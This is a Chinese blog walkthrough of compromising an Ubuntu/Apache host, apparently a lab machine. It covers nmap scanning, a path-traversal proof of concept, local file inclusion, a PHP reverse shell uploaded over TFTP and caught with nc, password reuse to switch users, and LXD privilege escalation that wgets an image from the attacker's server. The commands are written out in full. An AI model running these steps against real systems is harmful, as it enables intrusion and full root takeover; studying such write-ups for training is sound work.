首页 > 其他分享 >本地文件包含漏洞利用

本地文件包含漏洞利用

时间:2024-03-16 19:29:06浏览次数:20  
标签:文件 包含 漏洞 2e 本地 服务器 tftp 我们 2e%

目录

前期信息收集

拿到目标的资产,先试一下IP能不能访问
在这里插入图片描述

探测一下目标的端口运行的是什么服务

nmap -sC -sV xx.xx9.95.185 -Pn

在这里插入图片描述

获取网站权限

我们可以知道目标的80端口上运行着http服务,服务器是ubuntu,,中间件是apache/2.4.29,语言可能用的是PHP的,还有一个信息资产

访问信息资产http://xx.xxx.95.185/?file=home.php,发现可以访问
在这里插入图片描述

收集一下这个网站的信息
在这里插入图片描述

点一下这些功能键,看看有什么作用,发现没有什么用
在这里插入图片描述

这下子,我们只能去查一下apache/2.4.29有什么漏洞
在这里插入图片描述

一个个翻,发现他可能存在文件包含和远程命令执行的漏洞

https://www.exploit-db.com/exploits/50383

在这里插入图片描述

试一下POC,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2
在这里插入图片描述

返回了404报错页面,我们试一下其它的POC,/etc/passwd
在这里插入图片描述

说明存在文件包含漏洞,我们看一下能不能读取一下其它的敏感文件

curl 'http://xx.xxx.138.134/?file=home.php'

这个代码能直接在命令行查看网页源代码
http://xx.xxx.138.134/?file=phpinfo.php,是空白的,表示系统上没有这个文件
在这里插入图片描述

我们回过头继续去看/etc/passwd,发现了tftp,这个好像是传输协议,我们去搜索一下
在这里插入图片描述

发现确实是传输协议,而且还是文件传输协议,去搜索一下,看看这个协议之前有没有出过漏洞
http://blog.iis7.com/article/15496.html
这篇文章示例,我们参考一下

tftp使用的是udp协议,默认端口是69,我们使用nmap扫描一下udp端口,看一下

nmap -sU IP地址

在这里插入图片描述

扫描出存在69端口,说明服务器有使用tftp传输协议,前面nmap没有扫描到,是因为前面检测的是TCP的端口,UDP这块没有检测到

我们接下来用tftp软件去连接UDP 69端口,查看一下tftp的帮助文件,了解一下这个简单文件传输协议都有什么命令

apt install tftp
man tftp

在这里插入图片描述

因为tftp协议是不校验账号密码的,所以我们可以直接使用这个协议把木马文件上传上去,我们现在的想法是把shell脚本给上传上去,因为我们前面通过信息收集知道这个服务器有使用php语言的环境,所以我们上传的是PHP语言的木马,下面这个是反向shell木马的部分内容
在这里插入图片描述

$ip指的是我们公网服务器连接内网目标主机的端口IP
$port指的是我们公网服务器运行NC监听的端口
先获取我们的公网服务器IP地址

在这里插入图片描述

在root目录下创建shell.php,并且内容如下
在这里插入图片描述

连接tftp协议,上传反向shell.php脚本
在这里插入图片描述

现在文件上传成功,我们需要在本地开启nc监听端口,接收传回来的信息

nc -lnvp 334

在这里插入图片描述

因为这个网站存在文件包含漏洞,所以我们可以访问我们上传上去的反向shell文件,触发木马文件,以进行连接;我们通过前面的etc/passwd文件,知道我们上传上去的文件是保存在/var/lib/tftpboot

上命令,成功访问到该文件

curl 'http://xx.xxx.95.185/?file=/var/lib/tftpboot/shell.php'

在这里插入图片描述

收到反弹shell
在这里插入图片描述

返回200,说明文件存在
在这里插入图片描述

在shell里面输入命令,查看一下系统文件

ls

在这里插入图片描述

uname -a

查看服务器的操作系统信息
在这里插入图片描述

whoami

看一下我们当前的角色
在这里插入图片描述

我们需要进行提权,但是我们收到命令界面不是完全交互式的,我们输入下面命令,让我们更好操作一点

python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

获取服务器权限

提权的最好方式就是去寻找服务器上有没有存放账号密码的地方,而这个地方通常是web服务器目录下面,通过passwd文件,我们知道web服务器目录存放在var/www,我们去这个目录下面看看
在这里插入图片描述

确实是web目录,我们进入网站源代码下面去看看,发现了一个可能存放账号密码的文件
在这里插入图片描述

我们打开看看

cat .htpasswd

在这里插入图片描述

这是一个网站的账号密码并且通过passwd,我们知道服务器有一个账号名是mike的,并且权限要比www-data大
看一下另外一个隐藏文件夹

cat .htaccess

在这里插入图片描述

一般来说账号的密码都是通用的,我们可以试着登一下服务器mike的账号

su mike

在这里插入图片描述

登录成功
查看一下这个账号的权限和组

id
groups

在这里插入图片描述

纵向提权

lxd是什么,不知道,我们去搜索一下

https://blog.csdn.net/yaxuan88521/article/details/128065158
https://www.freebuf.com/articles/system/216803.html

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

通过网上去了解lxd,我们知道LXD是一个轻量级容器管理程序,这个程序存在漏洞,可以用来提权,我们参考FB复现一波
先从GitHub库下载构建好的Alpine:

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

上面的命令运行完,是下面这个结果
在这里插入图片描述

之后我们需要将tar.gz文件发送至目标系统,我这边选择的是2021版本

python -m http.server

在这里插入图片描述

cd /tmp
wget http://xx.xx.15.157:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

在这里插入图片描述

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

在这里插入图片描述

使用“list”命令即可检查可用的容器列表

lxc image list

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Id

在这里插入图片描述

提权成功

cd /mnt/root/root

在这里插入图片描述

cd /mnt/root/

在这里插入图片描述

标签:文件,包含,漏洞,2e,本地,服务器,tftp,我们,2e%
From: https://blog.csdn.net/m0_53008479/article/details/136767854

相关文章

  • 整数和浮点数在内存中的储存(包含原反补码的讲解)
    在c语言中,我们常常使用整数和浮点数,那么你知道整数和浮点数在内存中是如何储存的吗?下面大家一起学习。文章目录一.整数在内存中的储存二.了解大小端字节序三.浮点数在内存中的储存一、整数在内存中的储存整数的二进制表示方法有三种:原码、反码、补码。有符号整数......
  • qt使用本地字体文件
    qt使用本地字体文件qml工程设置使用本地字体文件#include<QGuiApplication>#include<QQmlApplicationEngine>#include<QDebug>#include<QFontDatabase>intmain(intargc,char*argv[]){QCoreApplication::setAttribute(Qt::AA_EnableHighDpiScaling);......
  • lc2250 统计包含每个点的矩形数目
    有n个矩形,第i个矩形左下角在(0,0)处,右上角在(l[i],h[i])。另给出m个点(x[i],y[i]),问有多少个矩形覆盖了这个点,点在边上也算是覆盖。1<=n,m<=5e4;1<=l[i],h[i]<=1e9;1<=h[i],y[i]<=100;所有矩形互不相同,所有查询点互不相同。二维偏序统计问题,可以离线处理,先对其中一维排序,将......
  • Git 操作——如何删除本地分支和远程分支
     Git操作——如何删除本地分支和远程分支 引言在大多数情况下,删除Git分支很简单。这篇文章会介绍如何删除Git本地分支和远程分支。用两行命令删除分支//删除本地分支gitbranch-dlocalBranchName//删除远程分支gitpushorigin--deleteremoteBranchName......
  • 彩虹易支付存在的严重SQL注入漏洞正在被滥用
    彩虹易支付存在的严重SQL注入漏洞正在被滥用根据TG群组和Loc(https://hostloc.com/thread-1284026-1-1.html)的消息,彩虹易支付程序上存在的漏洞可被利用来修改订单的支付状态,该程序被广泛用于发卡平台。有黑客正通过Telegram机器人将利用该漏洞的攻击简易化、自动化,该机器人......
  • EasyPoi导出包含动态列的Excel
    @TestpublicvoiddynaCol(){try{List<ExcelExportEntity>colList=newArrayList<ExcelExportEntity>();ExcelExportEntitycolEntity=newExcelExportEntity("商品名称","title");......
  • 通天星CMSV6车载定位监控平台 SQL注入漏洞复现(XVE-2023-23744)
    0x01产品简介通天星CMSV6车载定位监控平台拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队,专注于为定位、无线视频终端产品提供平台服务,通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。0x02漏洞概述该漏洞......
  • PHP引用序列化漏洞
    介绍根据php引用的特性构造序列化漏洞示例<?phpclassjust4fun{var$enter;var$secret;}$hxdyjx=newjust4fun();$hxdyjx->enter=&$hxdyjx->secret;echoserialize($hxdyjx);构造<?phpclassjust4fun{var$enter;var$secret;}$hxdy......
  • Pytorch——AutoTokenizer载入本地tokenizer权重
    由于众所周知的原因,国内很难使用huggingface去下载权重,但现在的大模型的权重以及相关的分词器配置都放在huggingface的仓库中。当我们使用 AutoTokenizer.from_pretrained 去载入相关分词器和模型时,会访问huggingface自动下载模型。但随着大模型的发布,很多模型的tokenizer都......
  • cve-2016-7124 序列化漏洞 php _weakup()
    版本范围php5<5.6.25php7<7.0.10原因魔法函数_weakup调用顺序:_weakup=>unserilize()如果对象属性个数:O:4:"test":3==3大于真是属性个数:3>2,则会跳过_weakup()的执行O:4:"test":3:{s:2:"v1";s:6:"hxdyjx";s:2:"v2";s:3:"1......